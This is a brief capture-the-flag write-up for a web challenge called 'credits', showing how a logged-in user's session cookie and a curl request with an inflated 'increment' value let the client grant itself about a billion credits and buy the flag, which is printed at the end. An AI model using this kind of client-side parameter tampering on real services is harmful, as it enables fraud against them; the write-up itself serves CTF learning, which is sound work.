credits

Try testing out this new credit system that I just created! Hint: Credit generation is rate limited. It is literally impossible to generate 2,000,000,000 credits within the CTF timeframe. Don't be that guy.

Solution

• Create account
• Login with account
• Copy cookie user_sid
• Run cURL command and increase increment

$ curl 'http://credits.tamuctf.com/newcredit' -H 'Cookie: user_sid=s%3ApG-XpiIo9LxcIbSx1NJCQG8LfwRAfmCu.1oTwd5QoaZPTCbZo4fl4U5%2FejL%2BKv7wNxPL3OjlRyZU' --data 'increment=1000000000'
{"success":true,"message":1000000109}

• Buy flag in store
• Look in inventory for flag

Flag

gigem{serverside_53rv3r5163_SerVeRSide}